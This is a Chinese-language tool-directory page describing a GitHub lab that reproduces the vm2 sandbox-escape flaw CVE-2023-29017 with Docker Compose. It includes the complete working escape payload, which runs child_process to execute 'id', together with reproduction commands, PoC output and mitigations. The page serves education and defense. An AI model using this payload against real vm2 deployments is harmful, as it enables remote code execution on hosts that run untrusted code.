Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Node_CVE-2023-29017 — 使用Docker Compose和PoC复现Node.js vm2 CVE-2023-29017 | Kitploit
工具/GitHubGitHub/gunwoo105/node_cve-2023-29017
容器安全漏洞分析漏洞利用学习与教育二进制利用实验室与实践
GitHubgunwoo105/node_cve-2023-29017

Node_CVE-2023-29017

使用Docker Compose和PoC复现Node.js vm2 CVE-2023-29017

查看仓库
1个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2023-29017 | 通过vm2沙箱逃逸实现远程代码执行

[WHS 4期 31班] - 金建宇(@gunwoo105)

漏洞摘要

vm2是一个Node.js沙箱库,用于在受限环境中执行不可信的JavaScript。正常情况下,沙箱内部的代码不应能够访问Node.js的process、require、child_process以及主机文件系统等敏感功能。

然而,在vm2 3.9.14及更早版本中,当发生未处理的异步错误时,它未能安全处理传递给Error.prepareStackTrace的主机对象。攻击者可以利用该对象的构造函数链获取主机上下文中的Function构造函数和process对象,最终通过child_process执行操作系统命令。

环境配置

组件

组件版本及设置
Node.js18.15.0
vm23.9.14
补丁版本3.9.15
运行环境Docker Compose
容器用户node
服务端口127.0.0.1:3000
包安装npm ci + package-lock.json

不使用现成的有漏洞镜像,而是使用官方Node.js基础镜像和仓库中包含的源代码直接构建镜像。Dockerfile中会检查Node.js和vm2版本,如果版本与预期不符则构建失败。

root@kitploit:~
RUN test "$(node --version)" = "v18.15.0" \
    && test "$(node -p "require('vm2/package.json').version")" = "3.9.14"

将worker.js作为独立进程运行的原因是PoC会触发未处理的异步错误。攻击过程中worker可能终止,但Web服务器仍持续运行,通过marker文件可以稳定验证是否成功。

漏洞条件

必须同时满足以下条件:

  1. 应用程序使用vm2 3.9.14或更早版本。
  2. 攻击者能够控制将要执行的JavaScript输入。
  3. 该JavaScript在vm2内部执行。
  4. 允许异步JavaScript执行。
  5. 未处理的异步错误到达有漏洞的栈追踪处理路径。
  6. 运行vm2的Node.js进程具有执行操作系统命令或访问文件的权限。

并非所有安装了vm2的服务都会自动暴露于远程攻击。必须存在在vm2中执行攻击者可控代码的功能。本实验中的/execute端点最小化地实现了该用例。

攻击流程如下:

root@kitploit:~
传递恶意JavaScript
        │
        ▼
触发未处理的异步错误
        │
        ▼
调用 Error.prepareStackTrace
        │
        ▼
暴露主机 frames 对象
        │
        ▼
获取主机 Function 构造函数
        │
        ▼
process → require → child_process
        │
        ▼
容器内执行 OS 命令

复现步骤

构建镜像

root@kitploit:~
docker compose build --no-cache

镜像构建成功

运行有漏洞服务

root@kitploit:~
docker compose up -d vulnerable

检查容器状态。

root@kitploit:~
docker compose ps

检查服务状态及版本

root@kitploit:~
curl -sS \
  -w '\nHTTP_STATUS=%{http_code}\n' \
  <http://127.0.0.1:3000/health>

服务状态及版本检查

执行 PoC

root@kitploit:~
docker compose run --rm poc
echo "exit_code=$?"

PoC会自动验证以下项目:

  1. 有漏洞服务的健康检查
  2. Node.js和vm2版本
  3. 正常JavaScript 21 * 2 执行
  4. 验证正常代码不会生成marker文件
  5. 发送CVE-2023-29017 payload
  6. 检查 /tmp/vm2-pwned 是否创建
  7. 验证文件内容是否包含 uid=
  8. 成功返回退出码0,失败返回1

如果希望从构建到PoC一次性执行,可使用以下命令:

root@kitploit:~
docker compose up \
  --build \
  --abort-on-container-exit \
  --exit-code-from poc

确认证据文件

root@kitploit:~
docker compose exec vulnerable sh -c '
  echo "[Marker file]"
  ls -l /tmp/vm2-pwned
  echo
  echo "[Command output]"
  cat /tmp/vm2-pwned
'

关闭环境

root@kitploit:~
docker compose down -v --rmi local --remove-orphans

5. PoC代码

完整PoC包含在 poc/poc.js 中。核心 payload 如下:

root@kitploit:~
Error.prepareStackTrace = (error, frames) => {
  const hostProcess =
    frames.constructor.constructor('return process')();

  hostProcess.mainModule
    .require('child_process')
    .execSync('id > /tmp/vm2-pwned');
};

(async () => {}).constructor('return process')();

代码执行流程

重写 Error.prepareStackTrace

root@kitploit:~
Error.prepareStackTrace = (error, frames) => {

攻击者重定义了当错误栈追踪生成时执行的函数。

获取主机 Function 构造函数

root@kitploit:~
frames.constructor.constructor

沿着有漏洞vm2暴露的主机frames对象的构造函数链,访问主机上下文中的Function构造函数。

获取主机 process 对象

root@kitploit:~
frames.constructor.constructor('return process')();

在主机上下文中创建并执行一个返回process的函数。

执行操作系统命令

root@kitploit:~
hostProcess.mainModule
  .require('child_process')
  .execSync('id > /tmp/vm2-pwned');

加载沙箱内部未提供的child_process,并执行Linux id命令。

触发未处理的异步错误

root@kitploit:~
(async () => {}).constructor('return process')();

让异步函数引用沙箱中不可用的process,从而产生一个被拒绝的Promise,并进入有漏洞的栈追踪处理路径。

执行结果

正常对照

正常JavaScript在vm2内部执行,返回42,但不会生成操作系统命令执行证据。

root@kitploit:~
[2/4] Running benign JavaScript inside vm2
      Normal JavaScript returned 42 without host command execution

漏洞利用

发送恶意payload后,逃逸vm2沙箱,并在有漏洞的Node.js进程权限下在容器内部执行id命令。

root@kitploit:~
[3/4] Sending CVE-2023-29017 payload
      Host command output: uid=1000(node) gid=1000(node) groups=1000(node)

PoC会再次检查存储的证据并返回成功状态。

root@kitploit:~
[4/4] Confirming persisted evidence
[SUCCESS] CVE-2023-29017 reproduced: vm2 sandbox escape led to host command execution.
exit_code=0

PoC执行成功

直接查看证据文件会输出如下结果:

Marker证据确认

每次执行前都会删除marker文件,且在正常代码执行阶段不会生成,从而避免因前次执行结果残留导致的误判。

应对措施

更新vm2

升级至不受影响的版本。

root@kitploit:~
{
  "dependencies": {
    "vm2": "3.9.15"
  }
}

然后更新锁文件并使用固定依赖进行安装。

root@kitploit:~
npm install --package-lock-only
npm ci

官方公告未提供其他变通方案,因此不建议继续使用有漏洞的版本。

分离不可信代码的执行环境

不要在与应用程序相同的Node.js进程中执行不可信代码。应使用单独的进程、容器或虚拟机进行隔离,并在执行完毕后销毁环境。

应用最小权限原则

  • 以非root的专用用户身份运行
  • 应用 no-new-privileges
  • 移除不必要的Linux capability
  • 禁止挂载Docker socket和主机目录
  • 考虑将文件系统设置为只读
  • 避免在容器内部存储长期凭据

网络与资源限制

  • 限制执行容器的外部网络访问
  • 最小化对内部管理网络和数据库的访问
  • 限制CPU、内存、进程数和执行时间
  • 限制输入大小和请求频率
  • 监控异常终止和反复的恶意输入

认证与输入控制

对代码执行功能实施强认证和授权,不要向不特定用户开放任意代码执行API。不过,认证只是减少攻击面的辅助措施,不能替代修复漏洞本身。

下载工具
文件作用
docker-compose.yml定义有漏洞服务与PoC容器的配置及运行顺序
Dockerfile采用多阶段构建方式构建有漏洞服务与PoC镜像
vulnerable/src/server.js提供 /health、/execute、/evidence 端点
vulnerable/src/worker.js在单独进程的vm2中执行用户输入
poc/poc.js自动化版本检查、正常对照、攻击及证据确认
vulnerable/package-lock.json固定包括传递依赖在内的包版本